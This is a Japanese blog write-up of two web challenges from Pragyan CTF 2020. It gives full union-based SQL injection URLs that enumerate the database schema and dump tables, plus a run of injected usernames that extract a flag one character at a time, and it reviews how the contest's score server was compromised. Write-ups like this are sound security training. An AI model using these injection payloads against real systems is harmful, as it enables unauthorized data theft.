Midnight Monologues

日々勉強したことを書いてきます

Pragyan CTF 2020 - Writeup

土, 22 2月 2020, 12:30 UTC — 月, 24 2月 2020, 12:30 UTC で開催されたPragyan CTF 2020にチームで参加した。 本大会は途中で作問環境の不備によりスコアサーバ内のflagが流出し、flagと一部問題が開催期間中に変更される大荒れの大会となった。

個人的に解けた2問のWriteupを記載する。

Pandora (web)

Description

Jake in pandora needs to save Naʼvi from Human invasion. But he is not sure humans army bases locations. Help him find those location so that he can take them down before they start their move.

http://ctf.pragyan.org:14000/

Writeup

スコアサーバハッキングの原因となったWeb問題(Brutus)削除後に差し替えられたweb問題の1つ目。

指定されたURL(http://ctf.pragyan.org:14000/index.php)へアクセスするとユーザ名とパスワードの入力画面が表示される。

f:id:SYN-ACK:20200225102916j:plain

ユーザ名とパスワードを登録してログインするとYou have not written any messages yetのメッセージが記載された画面に遷移する。 この時login_tokensとPHP_SSIDのクッキーが登録される。

f:id:SYN-ACK:20200225102927j:plain

遷移した画面のURLを確認する。

http://ctf.pragyan.org:14000/profile.php?success=welcome&NAME=123

NAMEの部分にSQLインジェクション脆弱性がある。

  • 以下のunion句を使った処理でテーブル名を取得。
http://ctf.pragyan.org:14000/profile.php?success=welcome&NAME=1%27%20union%20select%20table_name,2%20FROM%20information_schema.tables%20--%20#contact  

→pandoralocations,pandoramsg,pandorausersのテーブルが怪しいのでそれぞれ確認する。

http://ctf.pragyan.org:14000/profile.php?success=welcome&NAME=1%27%20union%20select%20COLUMN_NAME,%202%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%20=%20%27pandoralocations%27%20%20--%20#contact  

→pandoralocationsテーブルにはbase,latitude,longitudeの3つのカラムがある。

http://ctf.pragyan.org:14000/profile.php?success=welcome&NAME=1%27%20union%20select%20COLUMN_NAME,%202%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%20=%20%27pandorausers%27%20%20--%20#contact  

→pandorausersテーブルにはusername,passwordの2つのカラムがある。

http://ctf.pragyan.org:14000/profile.php?success=welcome&NAME=1%27%20union%20select%20COLUMN_NAME, 2 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'pandoramsg' %20--%20#contact  

→pandoramsgテーブルにはusername,msgの2つのカラムがある。

  • 各テーブルの値の取得
http://ctf.pragyan.org:14000/profile.php?success=welcome&NAME=1%27%20union%20select%20base,latitude%20FROM%20pandoralocations%20%20--%20#contact  

→flagは上記のpandoralocationsテーブルにある。

f:id:SYN-ACK:20200225102937j:plain

Flag:p_ctf{4vengers_455emb1e_0ne_l45t_t1me}

Kimi no Na Wa (web)

Description

Your employees are hiding something from you. Find what everyone has in their mind. Remember "Life is filled with secrets. You can't learn them all at once. But when you do you see a different world!"

http://ctf.pragyan.org:12000/

Writeup

スコアサーバハッキングの原因となったWeb問題(Brutus)削除後に差し替えられたweb問題の2つ目。 1問目と同じで問題URLにアクセスするとユーザ名とパスワードの入力画面が表示される。

f:id:SYN-ACK:20200225102916j:plain

ユーザ名とパスワードを登録してログインするとNo messages for youのメッセージが記載された画面に遷移する。 この時にPHP_SSIDのクッキーが登録される。

f:id:SYN-ACK:20200225103521j:plain

Pandoraと同様にユーザ名登録時のユーザ名部分にSQLインジェクション脆弱性がある。

①ユーザ名に以下を登録する。

123' union select message FROM kimimsg -- 

②ユーザ名を①で登録したものでログインする。

内部処理では以下で解釈される

SELECT reciever FROM kimimsg WHERE username='123' union select message FROM kimimsg -- 'no.of rows14

f:id:SYN-ACK:20200225105411j:plain

最初これがflagと思ったが正解にならない。明らかにflagの文字数が足りないので考え方を整理し、limit句を使ってみる。

12345' or 1=1 union select (SELECT message FROM kimimsg limit 0,1) -- -

※limit句の第1引数は0~22まで変更する。23以降はbossの値が登録されている。

f:id:SYN-ACK:20200225102946j:plain

12345' or 1=1 union select (SELECT message FROM kimimsg limit 0,1) -- -   p  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 1,1) -- -   _  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 2,1) -- -   c  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 3,1) -- -   t  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 4,1) -- -   f  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 5,1) -- -   {  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 6,1) -- -   n  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 7,1) -- -   e  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 8,1) -- -   w  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 9,1) -- -   0  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 10,1) -- -  b  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 11,1) -- -  0  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 12,1) -- -  5  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 13,1) -- -  5  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 14,1) -- -  0  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 15,1) -- -  1  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 16,1) -- -  5  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 17,1) -- -  0  
12346' or 1=1 union select (SELECT message FROM kimimsg limit 18,1) -- -  c  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 19,1) -- -  0  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 20,1) -- -  0  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 21,1) -- -  1  
12345' or 1=1 union select (SELECT message FROM kimimsg limit 22,1) -- -  }  
Flag:p_ctf{new0b0550150c001}

感想

CTFtimeのCommentsが大会開催時の混乱を物語っている。

ctftime.org

  • 運営が初心者といわれている。

    Facts proving Pragyan team are noobs:

    1. Challenges docker containers on the same host than the scoreboard. You need to use two separate hosts.
    2. Not using docker virtual networks. You need to put put each challenge container on a virtual bridge, so from one compromised challenge machine you can reach other challenge machines or the host.
    3. Bad permission on the web folders.

    PS: well done @posix

  • 2018年以前の賞金が支払われていない

    Hi Pragyan CTF organizers, we haven't received the prize INR 80000 for winning this CTF in 2018.

    https://ctftime.org/event/581 Archive: https://web.archive.org/web/20190709091452/https://ctftime.org/event/581

    It seems like in 2016,2017 (see https://ctftime.org/event/581#comment) you did the same to the winning teams. Would you really send the prize this year?

発端はBrutus(差し替え前のpwn+web問題)でデシリアライズとrceの脆弱性からosコマンドを実行してflagを探す問題があったが、問題サーバと関係無いスコアサーバがネットワーク分離されておらず、かつスコアサーバのflagを保存しているmysqlへアクセスする認証情報もdockerファイルから確認できたのでflagの一覧がCTFtimeへダンプされ、乗っ取りにあったようだ。

blog.rwx.kr

  • 差し替えが急だったため、差し替え後のWeb問題は難易度が一気に下がった。